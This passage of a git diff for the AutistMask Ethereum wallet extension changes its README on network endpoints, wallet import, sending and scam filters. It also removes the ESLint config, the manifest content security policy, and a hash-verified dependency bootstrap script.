is polled for its receipt, and for the reverse ENS lookups used to label
|
||||
addresses (cached for 12 hours).
|
||||
|
||||
What gets sent: standard Ethereum JSON-RPC requests (balance queries,
|
||||
transaction broadcasts, gas estimates, ENS lookups, contract-code checks). Your
|
||||
addresses are necessarily visible to the RPC provider when querying balances.
|
||||
transaction broadcasts, gas estimates, ENS lookups). Your addresses are
|
||||
necessarily visible to the RPC provider when querying balances.
|
||||
|
||||
**Blockscout API** (default: `eth.blockscout.com/api/v2`;
|
||||
`eth-sepolia.blockscout.com/api/v2` on Sepolia)
|
||||
**Blockscout API** (default: `eth.blockscout.com/api/v2`)
|
||||
|
||||
Used to fetch token balances and transaction history. Blockscout is an
|
||||
open-source blockchain explorer. AutistMask queries it for your ERC-20 token
|
||||
balances (including the holder counts used for spam filtering) and your recent
|
||||
transactions and token transfers. You can change this in Settings to a
|
||||
balances and recent transactions. You can change this in Settings to a
|
||||
self-hosted Blockscout instance.
|
||||
|
||||
When it is contacted: on every balance refresh, and whenever a screen showing
|
||||
transaction history is opened.
|
||||
|
||||
What gets sent: your Ethereum addresses (to look up balances and transactions).
|
||||
|
||||
**CoinDesk CADLI price API** (`data-api.coindesk.com`)
|
||||
|
||||
Used to fetch current USD prices for ETH and the top 25 tokens. Prices are
|
||||
cached for 5 minutes. No API key is required. This endpoint is not
|
||||
user-configurable, and it is not contacted at all while you are on a testnet,
|
||||
where no USD values are shown.
|
||||
Used to fetch current USD prices for ETH and ERC-20 tokens. Prices are cached
|
||||
for 5 minutes. No API key is required. No user data is sent -- only a list of
|
||||
token symbols (e.g. "ETH", "USDC") to get their prices.
|
||||
|
||||
When it is contacted: while the popup is open, at most once every 5 minutes.
|
||||
|
||||
What gets sent: token symbol names (e.g. "ETH", "USDC"). No addresses, no
|
||||
balances, no identifying information. As with any request, CoinDesk sees your IP
|
||||
address.
|
||||
|
||||
**Etherscan address labels** (`etherscan.io`; `sepolia.etherscan.io` on Sepolia)
|
||||
|
||||
When you review a send, AutistMask fetches the recipient's public Etherscan
|
||||
address page and looks for a "Fake_Phishing"/"Phish/Hack" label or a scam
|
||||
warning, and shows a red warning if it finds one. This is a plain page fetch
|
||||
with no API key, made by your browser. It is best-effort: if it fails, it is
|
||||
silently ignored. This endpoint is not user-configurable.
|
||||
|
||||
When it is contacted: each time you reach the send confirmation screen.
|
||||
|
||||
What gets sent: the recipient address you are about to send to, and your IP
|
||||
address. Your own addresses are not sent.
|
||||
|
||||
Etherscan links shown elsewhere in the UI (on addresses, transactions, and token
|
||||
contracts) are ordinary links. They contact nothing until you click them.
|
||||
What gets sent: token symbol names. No addresses, no balances, no identifying
|
||||
information.
|
||||
|
||||
### What Stays Local
|
||||
|
||||
@@ -157,11 +123,8 @@ word recovery phrase can restore your wallet on any device without your
|
||||
password. The password only protects the copy stored in this browser. If you
|
||||
lose your recovery phrase, your password cannot help you recover it.
|
||||
|
||||
Your password is requested whenever an encrypted secret must be decrypted: when
|
||||
you send a transaction, when a site asks you to sign a message or typed data,
|
||||
when you export an address's private key, and when you delete a wallet. Viewing
|
||||
balances, receiving funds, and browsing transaction history never require your
|
||||
password.
|
||||
Your password is only requested when you send a transaction. Viewing balances,
|
||||
receiving funds, and browsing transaction history never require your password.
|
||||
|
||||
## Installation
|
||||
|
||||
@@ -184,46 +147,34 @@ password.
|
||||
### Creating a New Wallet
|
||||
|
||||
1. Click the AutistMask icon in your browser toolbar.
|
||||
2. Click "Add wallet" (on first use), or open Settings and click "+ Add wallet".
|
||||
3. On the "From Phrase" tab, click the die button to generate a random 12-word
|
||||
recovery phrase.
|
||||
2. Click "Add wallet".
|
||||
3. Click the die button to generate a random 12-word recovery phrase.
|
||||
4. **Write down the recovery phrase and store it safely.** Anyone with these
|
||||
words can take your funds. If you lose them, your wallet is gone. AutistMask
|
||||
cannot recover them for you.
|
||||
5. Choose a password and confirm it. This encrypts your recovery phrase on this
|
||||
device.
|
||||
6. Click "Import".
|
||||
5. Choose a password. This encrypts your recovery phrase on this device.
|
||||
6. Click "Add".
|
||||
|
||||
### Importing an Existing Wallet
|
||||
|
||||
The Add Wallet screen has three tabs:
|
||||
**From a recovery phrase:** Follow the same steps as creating a wallet, but
|
||||
paste your existing 12 or 24 word recovery phrase instead of generating a new
|
||||
one. AutistMask uses the same derivation path as MetaMask (`m/44'/60'/0'/0`), so
|
||||
your addresses will match.
|
||||
|
||||
**From Phrase:** Paste your existing 12 or 24 word recovery phrase instead of
|
||||
generating a new one. AutistMask uses the standard BIP-44 Ethereum derivation
|
||||
path (`m/44'/60'/0'/0`), which is what other wallets use by default, so your
|
||||
addresses will match and your phrase stays portable in both directions.
|
||||
|
||||
**From Key:** Paste a single private key. This creates a single-address wallet.
|
||||
|
||||
**From xprv:** Paste an extended private key. This imports the HD wallet and
|
||||
scans for used addresses.
|
||||
|
||||
All three tabs ask for the same password fields, and the "Import" button
|
||||
finishes the job.
|
||||
**From a private key:** On the Add Wallet screen, click "Have a private key
|
||||
instead?" and paste your private key. This creates a single-address wallet.
|
||||
|
||||
### Adding More Addresses
|
||||
|
||||
HD wallets (created from a recovery phrase or an xprv) can derive multiple
|
||||
addresses. On the home screen, click the "+" button next to a wallet name to add
|
||||
the next address. These are deterministic -- the same recovery phrase will
|
||||
always produce the same sequence of addresses.
|
||||
HD wallets (created from a recovery phrase) can derive multiple addresses. On
|
||||
the home screen, click the "+" button next to a wallet name to add the next
|
||||
address. These are deterministic -- the same recovery phrase will always produce
|
||||
the same sequence of addresses.
|
||||
|
||||
### Adding ERC-20 Tokens
|
||||
|
||||
Tokens you hold show up automatically only if they are in the extension's
|
||||
bundled list of well-known tokens or have at least 1,000 holders; everything
|
||||
else is treated as spam and hidden. To track a token explicitly (which also
|
||||
shows it at zero balance), add it by contract address:
|
||||
AutistMask does not auto-discover tokens. To track a token:
|
||||
|
||||
1. Go to an address detail view (click `[info]` on any address).
|
||||
2. Click "+ Token".
|
||||
@@ -232,13 +183,12 @@ shows it at zero balance), add it by contract address:
|
||||
4. Click "Add".
|
||||
|
||||
The token balance will appear on the address detail screen and on the home
|
||||
screen. Tokens can also be added from Settings, under "Tracked Tokens".
|
||||
screen.
|
||||
|
||||
## Sending
|
||||
|
||||
1. Click "Send" from the home screen or an address detail view.
|
||||
2. Select what to send (ETH, or any ERC-20 token with a balance on this address
|
||||
that survives the spam filters).
|
||||
2. Select what to send (ETH or any tracked ERC-20 token).
|
||||
3. Enter the recipient address or ENS name (e.g. `vitalik.eth`).
|
||||
4. Enter the amount.
|
||||
5. Click "Review" to see the confirmation screen.
|
||||
@@ -250,18 +200,12 @@ The confirmation screen shows:
|
||||
- **From and To addresses** with identicons and Etherscan links
|
||||
- **Amount** with USD estimate
|
||||
- **Your current balance** with USD estimate
|
||||
- **Network fee** — what the transfer is expected to cost, in ETH with a USD
|
||||
estimate, and below it the larger amount reserved until it confirms. The
|
||||
reserve is what the network requires up front and what the balance check gates
|
||||
on; the refund of the difference is why the two differ
|
||||
- **Warnings** if the recipient is a contract, a burn address, one of your own
|
||||
addresses, on the bundled scam-address list, or labelled as a phisher on
|
||||
Etherscan
|
||||
- **Estimated network fee** in ETH with USD estimate
|
||||
|
||||
After reviewing, enter your password and click "Sign & Send". The transaction
|
||||
will be broadcast to the network and you will see a waiting screen with a timer.
|
||||
Once confirmed (or after 60 seconds), you will see either a success or error
|
||||
screen with the transaction hash and an Etherscan link.
|
||||
After reviewing, click "Send" and enter your password. The transaction will be
|
||||
broadcast to the network and you will see a waiting screen with a timer. Once
|
||||
confirmed (or after 60 seconds), you will see either a success or error screen
|
||||
with the transaction hash and an Etherscan link.
|
||||
|
||||
### Sending a Specific Token
|
||||
|
||||
@@ -275,10 +219,10 @@ cannot accidentally switch to a different one.
|
||||
1. Click "Receive" from the home screen or an address detail view.
|
||||
2. Share the QR code or copy the address using the "Copy address" button.
|
||||
|
||||
When receiving ERC-20 tokens, make sure the sender is sending on the network you
|
||||
are using. AutistMask supports Ethereum mainnet and the Sepolia testnet. Tokens
|
||||
sent on other networks (Polygon, Arbitrum, BSC, etc.) to the same address will
|
||||
not appear and may be permanently lost.
|
||||
When receiving ERC-20 tokens, make sure the sender is sending on the Ethereum
|
||||
network. AutistMask is an Ethereum mainnet wallet. Tokens sent on other networks
|
||||
(Polygon, Arbitrum, BSC, etc.) to the same address will not appear and may be
|
||||
permanently lost.
|
||||
|
||||
## Connecting to Web3 Sites
|
||||
|
||||
@@ -292,18 +236,8 @@ pages. When a site requests access to your wallet:
|
||||
time.
|
||||
|
||||
When a connected site requests a transaction, a separate approval popup appears
|
||||
showing the transaction details (from, to, value, data, network fee, network and
|
||||
nonce). Every one of those values is checked against the transaction that is
|
||||
actually signed before anything is broadcast, so what you read on that screen is
|
||||
what goes out or nothing does. The popup appears once the wallet has worked out
|
||||
the fee and gas from the network, which takes a moment; if that fails, no popup
|
||||
appears and the site is told the transaction could not be prepared. You must
|
||||
enter your password and click "Confirm" to authorize it. Message and typed-data
|
||||
signature requests work the same way, with a "Sign" button, and also require
|
||||
your password.
|
||||
|
||||
If the requesting site's domain is on the phishing blocklist, all three approval
|
||||
screens show a red phishing warning before you decide.
|
||||
showing the transaction details (from, to, value, data). You must enter your
|
||||
password and click "Confirm" to authorize it.
|
||||
|
||||
You can manage site permissions in Settings. Allowed and denied sites can be
|
||||
individually removed to reset their permissions.
|
||||
@@ -313,25 +247,15 @@ individually removed to reset their permissions.
|
||||
AutistMask includes several defenses against common Ethereum scams, all enabled
|
||||
by default:
|
||||
|
||||
**Known token symbol verification.** AutistMask ships a bundled list of
|
||||
high-market-cap ERC-20 tokens with their legitimate contract addresses — a
|
||||
point-in-time snapshot of the highest-market-cap Ethereum mainnet ERC-20s, fixed
|
||||
at build time and updated only when a new release ships a newer snapshot. If a
|
||||
transaction or balance claims to involve a known symbol (like "ETH" or "USDT")
|
||||
but comes from an unrecognized contract, it is identified as a spoof and hidden.
|
||||
In your transaction history this is the "Hide fake tokens impersonating a known
|
||||
symbol" setting, which you can switch off; doing so also stops new entries being
|
||||
added to the fraud contract blocklist below, since detecting a spoof is what
|
||||
fills it. The send token list always applies the check. Your balances apply it
|
||||
too, with one exception: a token claiming the symbol "ETH" is not filtered
|
||||
there, so a fake "ETH" token can still show up in your balance list even though
|
||||
it is hidden from your transaction history and from the send token list.
|
||||
**Known token symbol verification.** AutistMask ships a list of ~250 legitimate
|
||||
ERC-20 tokens with their contract addresses. If a transaction claims to involve
|
||||
a known symbol (like "ETH" or "USDT") but comes from an unrecognized contract,
|
||||
it is identified as a spoof and hidden.
|
||||
|
||||
**Low-holder token filtering.** Tokens with fewer than 1,000 holders are hidden
|
||||
from transaction history and the send token list, and are left out of your
|
||||
balances unless they are on the bundled known-token list or you added them
|
||||
yourself. Legitimate tokens have substantial holder counts; scam tokens deployed
|
||||
for address poisoning typically have zero.
|
||||
from transaction history and the send token list. Legitimate tokens have
|
||||
substantial holder counts; scam tokens deployed for address poisoning typically
|
||||
have zero.
|
||||
|
||||
**Fraud contract blocklist.** When AutistMask detects a fraudulent transfer, it
|
||||
adds the contract address to a local blocklist. Future transactions from that
|
||||
@@ -342,33 +266,15 @@ ETH by default) are hidden. Scammers send dust from look-alike addresses to
|
||||
plant them in your transaction history. The threshold is configurable in
|
||||
Settings.
|
||||
|
||||
**Scam address list.** A list of known fraud, drainer, and phishing addresses is
|
||||
shipped with the extension. Sending to one of them raises a warning on the
|
||||
confirmation screen. It contains only addresses involved in fraud -- it is not a
|
||||
sanctions list.
|
||||
|
||||
**Phishing domain warnings.** Sites asking to connect or to have something
|
||||
approved are checked against a community-maintained list of known phishing
|
||||
domains, and flagged with a red banner if they match. The list is built into the
|
||||
extension: the check is entirely local, so nobody is told which sites you visit,
|
||||
and it works offline. It is also only as current as the release you are running
|
||||
— a domain added to the list upstream reaches you in the next version of the
|
||||
extension, not the same day.
|
||||
|
||||
The first four filters can be individually disabled in Settings if you prefer to
|
||||
All of these filters can be individually disabled in Settings if you prefer to
|
||||
see everything unfiltered.
|
||||
|
||||
## Settings
|
||||
|
||||
Click the gear icon on the home screen to access settings:
|
||||
|
||||
- **Wallets**: Your wallets, and "+ Add wallet".
|
||||
- **Tracked Tokens**: The ERC-20 tokens tracked across all addresses, and "+ Add
|
||||
token".
|
||||
- **Display**: Toggle whether tracked tokens with zero balance are shown, switch
|
||||
timestamps to UTC, and choose the theme (System, Light, or Dark).
|
||||
- **Network**: Switch between Ethereum Mainnet and Sepolia Testnet. Switching
|
||||
resets the RPC and Blockscout endpoints to that network's defaults.
|
||||
- **Wallets**: Add a new wallet.
|
||||
- **Display**: Toggle whether tracked tokens with zero balance are shown.
|
||||
- **Ethereum RPC**: Change the Ethereum node endpoint. Default is a public RPC.
|
||||
You can use your own node for maximum privacy.
|
||||
- **Blockscout API**: Change the Blockscout instance used for token balances and
|
||||
@@ -376,17 +282,15 @@ Click the gear icon on the home screen to access settings:
|
||||
- **Token Spam Protection**: Toggle individual scam filters and set the dust
|
||||
transaction threshold.
|
||||
- **Allowed Sites / Denied Sites**: View and manage web3 site permissions.
|
||||
- **About**: License, author, version, release date, and a link to the commit
|
||||
this build came from.
|
||||
|
||||
## Frequently Asked Questions
|
||||
|
||||
**Can I use AutistMask alongside another wallet?**
|
||||
**Is AutistMask compatible with MetaMask?**
|
||||
|
||||
Yes. AutistMask uses the standard `m/44'/60'/0'/0` derivation path, so importing
|
||||
the same recovery phrase gives you the same addresses as any other wallet using
|
||||
that path. Two wallet extensions can be installed side by side, though only one
|
||||
can be the active `window.ethereum` provider at a time.
|
||||
Yes. AutistMask uses the same derivation path (`m/44'/60'/0'/0`) as MetaMask. If
|
||||
you import the same recovery phrase, you will get the same addresses. You can
|
||||
use both wallets side by side, though only one can be the active
|
||||
`window.ethereum` provider at a time.
|
||||
|
||||
**Can I use AutistMask with a hardware wallet?**
|
||||
|
||||
@@ -394,9 +298,8 @@ Not yet. Hardware wallet support may be added in the future.
|
||||
|
||||
**Does AutistMask support networks other than Ethereum mainnet?**
|
||||
|
||||
Ethereum mainnet and the Sepolia testnet, selectable in Settings. No other
|
||||
networks are supported today. On Sepolia, USD values are not shown, because
|
||||
testnet tokens have no market value.
|
||||
Not currently. AutistMask is Ethereum mainnet only. Multi-chain support may be
|
||||
added in the future.
|
||||
|
||||
**Where is my data stored?**
|
||||
|
||||
@@ -409,7 +312,7 @@ to any server operated by AutistMask.
|
||||
|
||||
Your data is deleted. Make sure you have your recovery phrase backed up before
|
||||
uninstalling. With your recovery phrase, you can restore your wallet in
|
||||
AutistMask or any other wallet that uses the standard derivation path.
|
||||
AutistMask or any other compatible wallet (MetaMask, etc.) at any time.
|
||||
|
||||
**What happens if a transaction times out?**
|
||||
|
||||
|
||||
190
eslint.config.js
190
eslint.config.js
@@ -1,190 +0,0 @@
|
||||
// ESLint flat config. Static analysis for make check; formatting stays with
|
||||
// prettier (script/fmt-check), so nothing here touches style.
|
||||
//
|
||||
// The sources are CommonJS and are bundled per entrypoint by build.js, so the
|
||||
// globals differ by tree and are declared per tree below. Getting that wrong in
|
||||
// either direction defeats the point: too few globals buries a real no-undef in
|
||||
// false positives, too many hides the next unimported identifier.
|
||||
|
||||
const js = require("@eslint/js");
|
||||
const globals = require("globals");
|
||||
const backgroundState = require("./script/lib/eslint/noStateSingletonInBackground");
|
||||
const {
|
||||
BACKGROUND_ENTRY_PREFIX,
|
||||
} = require("./script/lib/forbiddenBundleInputs");
|
||||
|
||||
// The extension APIs. MV3 Chrome exposes `chrome`; Firefox exposes both, and
|
||||
// the code feature-detects between them.
|
||||
const extensionGlobals = {
|
||||
chrome: "readonly",
|
||||
browser: "readonly",
|
||||
};
|
||||
|
||||
const commonjs = {
|
||||
ecmaVersion: 2024,
|
||||
sourceType: "commonjs",
|
||||
};
|
||||
|
||||
module.exports = [
|
||||
{
|
||||
ignores: ["dist/", "node_modules/"],
|
||||
},
|
||||
|
||||
js.configs.recommended,
|
||||
|
||||
{
|
||||
rules: {
|
||||
// The two rules this config exists for. Both are already
|
||||
// error-level in the recommended set; restated so a future
|
||||
// recommended-set change cannot silently downgrade them.
|
||||
"no-undef": "error",
|
||||
// `_`-prefixed arguments are the deliberate "present for the
|
||||
// interface, unused here" marker: the popup views share one
|
||||
// init(ctx) signature and three of the eight do not read ctx.
|
||||
// An unused catch binding is written `catch {`, which the repo
|
||||
// already does, so caught errors stay checked.
|
||||
"no-unused-vars": ["error", { argsIgnorePattern: "^_" }],
|
||||
|
||||
// Off tree-wide: it requires every rethrow to carry `{ cause }`,
|
||||
// at 3 sites today (src/shared/balances.js 207 and 215,
|
||||
// tests/e2e/firefox/run.js 131). That is a change to what the
|
||||
// wallet's error paths actually throw, and it is a decision of its
|
||||
// own rather than a side effect of turning a linter on — so it is
|
||||
// off everywhere, including for new code, until that decision is
|
||||
// made. Unlike no-useless-assignment below, this is not an
|
||||
// accommodation of particular sites and must not be scoped to
|
||||
// them.
|
||||
"preserve-caught-error": "off",
|
||||
},
|
||||
},
|
||||
|
||||
// no-useless-assignment stays on everywhere except the two files that
|
||||
// wipe decrypted key material: the `password = null` and
|
||||
// `decryptedSecret = null` assignments after use are dead by construction
|
||||
// — that is what a best-effort wipe is — and the rule's fix is to delete
|
||||
// the wipe. 9 sites: approval.js 582, 593, 618, 648, 692, 703, 728, 764
|
||||
// and confirmTx.js 459. Everything else in the tree is still checked, so
|
||||
// an ordinary dead store elsewhere is still an error.
|
||||
{
|
||||
files: ["src/popup/views/approval.js", "src/popup/views/confirmTx.js"],
|
||||
rules: {
|
||||
"no-useless-assignment": "off",
|
||||
},
|
||||
},
|
||||
|
||||
// Popup and content scripts: page/window context.
|
||||
{
|
||||
files: ["src/popup/**/*.js", "src/content/**/*.js"],
|
||||
languageOptions: {
|
||||
...commonjs,
|
||||
globals: { ...globals.browser, ...extensionGlobals },
|
||||
},
|
||||
},
|
||||
|
||||
// MV3 background: a service worker, with no window and no document.
|
||||
//
|
||||
// It also may not reach src/shared/state.js. That module's `state` export
|
||||
// is a per-bundle singleton loaded once and mutated in place, which is the
|
||||
// popup's lifetime and not the worker's: the worker is killed when idle,
|
||||
// nothing loads state at module scope, and an unpopulated read used to be
|
||||
// served DEFAULT_STATE silently. Five defects came from background code
|
||||
// reading or writing it (https://git.eeqj.de/sneak/AutistMask/issues/324),
|
||||
// and each point fix added a loadState() that created the next one. The
|
||||
// rule below checks reachability through the whole require graph, not just
|
||||
// the direct require, because a re-export from any shared module the
|
||||
// background already pulls in would put the singleton back in the bundle
|
||||
// with no background file naming it.
|
||||
//
|
||||
// It is not the guarantee: build.js asserts the same prohibition against
|
||||
// esbuild's own metafile, from the shared table in
|
||||
// script/lib/forbiddenBundleInputs.js. This is the early report.
|
||||
//
|
||||
// The glob comes from that same file, because build.js uses the prefix to
|
||||
// decide which entry points must be listed in the table at all: the two
|
||||
// layers must not disagree about which files are "the background".
|
||||
{
|
||||
files: [`${BACKGROUND_ENTRY_PREFIX}**/*.js`],
|
||||
plugins: { background: backgroundState },
|
||||
languageOptions: {
|
||||
...commonjs,
|
||||
globals: { ...globals.serviceworker, ...extensionGlobals },
|
||||
},
|
||||
rules: {
|
||||
"background/no-state-singleton-in-background": "error",
|
||||
},
|
||||
},
|
||||
|
||||
// src/shared is bundled into both, so it may only use what both provide:
|
||||
// the service worker globals are the intersection, plus the extension APIs.
|
||||
{
|
||||
files: ["src/shared/**/*.js"],
|
||||
languageOptions: {
|
||||
...commonjs,
|
||||
globals: { ...globals.serviceworker, ...extensionGlobals },
|
||||
},
|
||||
},
|
||||
|
||||
// src/shared/ens.js is the documented exception to the line above: its own
|
||||
// header says POPUP ONLY, it caches in localStorage, and only popup views
|
||||
// require it. Linting it as a service worker would be wrong about the file.
|
||||
{
|
||||
files: ["src/shared/ens.js"],
|
||||
languageOptions: {
|
||||
...commonjs,
|
||||
globals: { ...globals.browser, ...extensionGlobals },
|
||||
},
|
||||
},
|
||||
|
||||
// Unit tests, and the helpers they require: jest on node.
|
||||
{
|
||||
files: ["tests/**/*.test.js", "tests/support/**/*.js"],
|
||||
languageOptions: {
|
||||
...commonjs,
|
||||
globals: { ...globals.node, ...globals.jest },
|
||||
},
|
||||
},
|
||||
|
||||
// The build script is a plain node program.
|
||||
{
|
||||
files: ["build.js"],
|
||||
languageOptions: {
|
||||
...commonjs,
|
||||
globals: { ...globals.node },
|
||||
},
|
||||
},
|
||||
|
||||
// The helpers the script/ entrypoints call: plain node programs too, run
|
||||
// from a shell script rather than from yarn, and never bundled.
|
||||
{
|
||||
files: ["script/lib/**/*.js"],
|
||||
languageOptions: {
|
||||
...commonjs,
|
||||
globals: { ...globals.node },
|
||||
},
|
||||
},
|
||||
|
||||
// The e2e harnesses are node programs that also carry, inline, the
|
||||
// callbacks they ship into the browser via page.evaluate — so both
|
||||
// contexts really are present in the same file and both sets of globals
|
||||
// are in scope somewhere in it.
|
||||
{
|
||||
files: ["tests/e2e/**/*.js"],
|
||||
languageOptions: {
|
||||
...commonjs,
|
||||
globals: {
|
||||
...globals.node,
|
||||
...globals.browser,
|
||||
...extensionGlobals,
|
||||
},
|
||||
},
|
||||
},
|
||||
|
||||
// This config file itself.
|
||||
{
|
||||
files: ["eslint.config.js"],
|
||||
languageOptions: {
|
||||
...commonjs,
|
||||
globals: { ...globals.node },
|
||||
},
|
||||
},
|
||||
];
|
||||
@@ -3,12 +3,8 @@
|
||||
"name": "AutistMask",
|
||||
"version": "0.1.0",
|
||||
"description": "Minimal Ethereum wallet for Chrome",
|
||||
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzy/G9gT4Z3Ci0HCmthUPEiCjENg+5meZpjdogyT7SiMfxENtHdrpDL6wGhAg1Dk0f1C67Ft8OYpMrMH3kiP2Wnt0UpHo45PY0YUUYzdJgbsp8u0kaykd5FFiY6FycIIFaTniMuh7wRKuNNdJWly+H3aG7qZ6nGu5PIMdb1GXUk35hY+yl7dz5dqFFYUCyxvWCT9XGBSYiI+XRBB/rVZjMWfWpaTmRPdOZ4+GO/Lx0OdMxKlPA/kLWoPot5vMlLn2FDPu6sASphiu7dKZnrINW+h/27jlHMJQS0jncB1EgqOHW0vbXrZnTveFX6UW+Qp86FfSkikhKtQgTW2A4mtWawIDAQAB",
|
||||
"permissions": ["storage", "activeTab", "alarms"],
|
||||
"permissions": ["storage", "activeTab"],
|
||||
"host_permissions": ["<all_urls>"],
|
||||
"content_security_policy": {
|
||||
"extension_pages": "default-src 'self'; script-src 'self' 'wasm-unsafe-eval'; object-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self' https: http:; frame-src 'none'; form-action 'none'; base-uri 'none'"
|
||||
},
|
||||
"action": {
|
||||
"default_popup": "src/popup/index.html"
|
||||
},
|
||||
|
||||
@@ -3,8 +3,7 @@
|
||||
"name": "AutistMask",
|
||||
"version": "0.1.0",
|
||||
"description": "Minimal Ethereum wallet for Firefox",
|
||||
"permissions": ["storage", "activeTab", "alarms", "<all_urls>"],
|
||||
"content_security_policy": "default-src 'self'; script-src 'self' 'wasm-unsafe-eval'; object-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self' https: http:; frame-src 'none'; form-action 'none'; base-uri 'none'",
|
||||
"permissions": ["storage", "activeTab", "<all_urls>"],
|
||||
"browser_action": {
|
||||
"default_popup": "src/popup/index.html"
|
||||
},
|
||||
|
||||
@@ -7,20 +7,15 @@
|
||||
"private": true,
|
||||
"scripts": {
|
||||
"test": "jest --forceExit",
|
||||
"test:verbose": "jest --forceExit --verbose",
|
||||
"build": "node build.js",
|
||||
"lint": "eslint . && prettier --check .",
|
||||
"lint": "prettier --check .",
|
||||
"fmt": "prettier --write .",
|
||||
"fmt-check": "prettier --check ."
|
||||
},
|
||||
"devDependencies": {
|
||||
"@eslint/js": "10.0.1",
|
||||
"@tailwindcss/cli": "^4.2.1",
|
||||
"esbuild": "^0.27.3",
|
||||
"eslint": "10.8.1",
|
||||
"globals": "17.11.0",
|
||||
"jest": "^30.2.0",
|
||||
"playwright-core": "1.56.0",
|
||||
"prettier": "^3.8.1",
|
||||
"tailwindcss": "^4.2.1"
|
||||
},
|
||||
|
||||
143
script/bootstrap
143
script/bootstrap
@@ -1,143 +0,0 @@
|
||||
#!/bin/sh
|
||||
# script/bootstrap: install all dependencies needed to build and develop
|
||||
# this repo. Idempotent: every install is guarded by a check so already
|
||||
# installed tools are skipped. Base tooling comes from nix, apt, brew,
|
||||
# or apk (detected in that order); assumes nothing is present. Node is
|
||||
# used directly if installed; otherwise it is installed at a pinned
|
||||
# version via nvm (installing nvm itself first, from a hash-verified
|
||||
# release archive, never curl | sh).
|
||||
set -eu
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
|
||||
|
||||
# Pinned versions, 2026-07-07
|
||||
NODE_VERSION="22.17.0"
|
||||
NVM_VERSION="0.40.3"
|
||||
# sha256 of https://github.com/nvm-sh/nvm/archive/refs/tags/v0.40.3.tar.gz
|
||||
NVM_SHA256="5f4d6aaa04a177dc93c985e31dbc411ab6b8c6e1e21d8015dbc1372625fcd1d0"
|
||||
YARN_VERSION="1.22.22"
|
||||
|
||||
PKGMGR=""
|
||||
SUDO=""
|
||||
APT_UPDATED=""
|
||||
|
||||
detect_pkgmgr() {
|
||||
[ -n "$PKGMGR" ] && return 0
|
||||
if command -v nix-env >/dev/null 2>&1; then
|
||||
PKGMGR="nix"
|
||||
elif command -v apt-get >/dev/null 2>&1; then
|
||||
PKGMGR="apt"
|
||||
elif command -v brew >/dev/null 2>&1; then
|
||||
PKGMGR="brew"
|
||||
elif command -v apk >/dev/null 2>&1; then
|
||||
PKGMGR="apk"
|
||||
else
|
||||
echo "bootstrap: no supported package manager (nix, apt, brew, apk)" >&2
|
||||
exit 1
|
||||
fi
|
||||
if [ "$PKGMGR" = "apt" ]; then
|
||||
export DEBIAN_FRONTEND=noninteractive
|
||||
if [ "$(id -u)" != "0" ]; then
|
||||
SUDO="sudo"
|
||||
fi
|
||||
fi
|
||||
}
|
||||
|
||||
# pkg_install <nix-attr> <apt-pkg> <brew-formula> <apk-pkg>
|
||||
pkg_install() {
|
||||
detect_pkgmgr
|
||||
case "$PKGMGR" in
|
||||
nix) nix-env -iA "nixpkgs.$1" ;;
|
||||
apt)
|
||||
if [ -z "$APT_UPDATED" ]; then
|
||||
$SUDO env DEBIAN_FRONTEND=noninteractive apt-get update
|
||||
APT_UPDATED=1
|
||||
fi
|
||||
$SUDO env DEBIAN_FRONTEND=noninteractive apt-get install -y "$2"
|
||||
;;
|
||||
brew) brew install "$3" ;;
|
||||
apk) apk add --no-cache "$4" ;;
|
||||
esac
|
||||
}
|
||||
|
||||
missing() {
|
||||
! command -v "$1" >/dev/null 2>&1
|
||||
}
|
||||
|
||||
# verify_sha256 <file> <expected-hash>
|
||||
verify_sha256() {
|
||||
if command -v sha256sum >/dev/null 2>&1; then
|
||||
actual="$(sha256sum "$1" | cut -d' ' -f1)"
|
||||
else
|
||||
actual="$(shasum -a 256 "$1" | cut -d' ' -f1)"
|
||||
fi
|
||||
if [ "$actual" != "$2" ]; then
|
||||
echo "bootstrap: sha256 mismatch for $1" >&2
|
||||
echo " expected: $2" >&2
|
||||
echo " actual: $actual" >&2
|
||||
exit 1
|
||||
fi
|
||||
}
|
||||
|
||||
# nvm is a bash script; run a command in a bash with nvm loaded
|
||||
nvm_sh() {
|
||||
bash -c ". \"\$HOME/.nvm/nvm.sh\" && $*"
|
||||
}
|
||||
|
||||
ensure_nvm() {
|
||||
[ -s "$HOME/.nvm/nvm.sh" ] && return 0
|
||||
# nvm prerequisites; nvm itself requires bash
|
||||
if missing bash; then pkg_install bash bash bash bash; fi
|
||||
if missing curl; then pkg_install curl curl curl curl; fi
|
||||
if missing git; then pkg_install git git git git; fi
|
||||
tmp="$(mktemp -d)"
|
||||
curl -fsSL -o "$tmp/nvm.tar.gz" \
|
||||
"https://github.com/nvm-sh/nvm/archive/refs/tags/v${NVM_VERSION}.tar.gz"
|
||||
verify_sha256 "$tmp/nvm.tar.gz" "$NVM_SHA256"
|
||||
mkdir -p "$HOME/.nvm"
|
||||
tar -xzf "$tmp/nvm.tar.gz" -C "$HOME/.nvm" --strip-components=1
|
||||
rm -rf "$tmp"
|
||||
}
|
||||
|
||||
ensure_node() {
|
||||
if ! missing node; then return 0; fi
|
||||
ensure_nvm
|
||||
nvm_sh "nvm install $NODE_VERSION"
|
||||
}
|
||||
|
||||
ensure_yarn() {
|
||||
if ! missing yarn; then return 0; fi
|
||||
if ! missing corepack; then
|
||||
corepack enable
|
||||
corepack prepare "yarn@$YARN_VERSION" --activate
|
||||
elif [ -s "$HOME/.nvm/nvm.sh" ]; then
|
||||
nvm_sh "nvm use $NODE_VERSION >/dev/null && corepack enable && \
|
||||
corepack prepare yarn@$YARN_VERSION --activate"
|
||||
else
|
||||
npm install -g "yarn@$YARN_VERSION"
|
||||
fi
|
||||
}
|
||||
|
||||
install_js_deps() {
|
||||
if missing yarn && [ -s "$HOME/.nvm/nvm.sh" ]; then
|
||||
nvm_sh "nvm use $NODE_VERSION >/dev/null && cd \"$ROOT\" && \
|
||||
yarn install --frozen-lockfile"
|
||||
else
|
||||
yarn install --frozen-lockfile
|
||||
fi
|
||||
}
|
||||
|
||||
main() {
|
||||
cd "$ROOT"
|
||||
|
||||
if missing make; then pkg_install gnumake make make make; fi
|
||||
if missing git; then pkg_install git git git git; fi
|
||||
|
||||
ensure_node
|
||||
ensure_yarn
|
||||
install_js_deps
|
||||
|
||||
echo "bootstrap complete"
|
||||
}
|
||||
|
||||
main "$@"
|
||||
16
script/check
16
script/check
@@ -1,16 +0,0 @@
